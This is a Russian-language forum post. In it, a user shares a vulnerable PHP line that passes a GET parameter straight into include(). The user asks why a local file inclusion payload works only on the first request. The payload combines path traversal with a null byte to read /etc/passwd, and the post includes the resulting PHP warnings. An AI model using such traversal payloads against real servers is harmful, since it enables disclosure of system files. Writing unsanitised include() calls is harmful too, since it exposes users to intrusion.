
30.09.2012, 13:29
|
|
Участник форума
Регистрация: 16.10.2011
Сообщений: 142
С нами:
7670486
Репутация:
0
|
|
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'.html'[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
Почему то после первого обращения к include.php?file=../../../../../../../etc/passwd%00 вылетает ошибка:
Код:
Warning: include(): Failed opening '../../../../../../../etc/passwd' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/include.php on line 2
А после последующих:
Код:
Warning: include(../../../../../../../etc/passwd.html): failed to open stream: No such file or directory in /var/www/include.php on line 2 Warning: include(): Failed opening '../../../../../../../etc/passwd.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/include.php on line 2
То есть нулл-байт не обрезает расширение. Приходится чистить кэш или перезапускать браузер.
magic_quotes_gpc = off.
|
|
|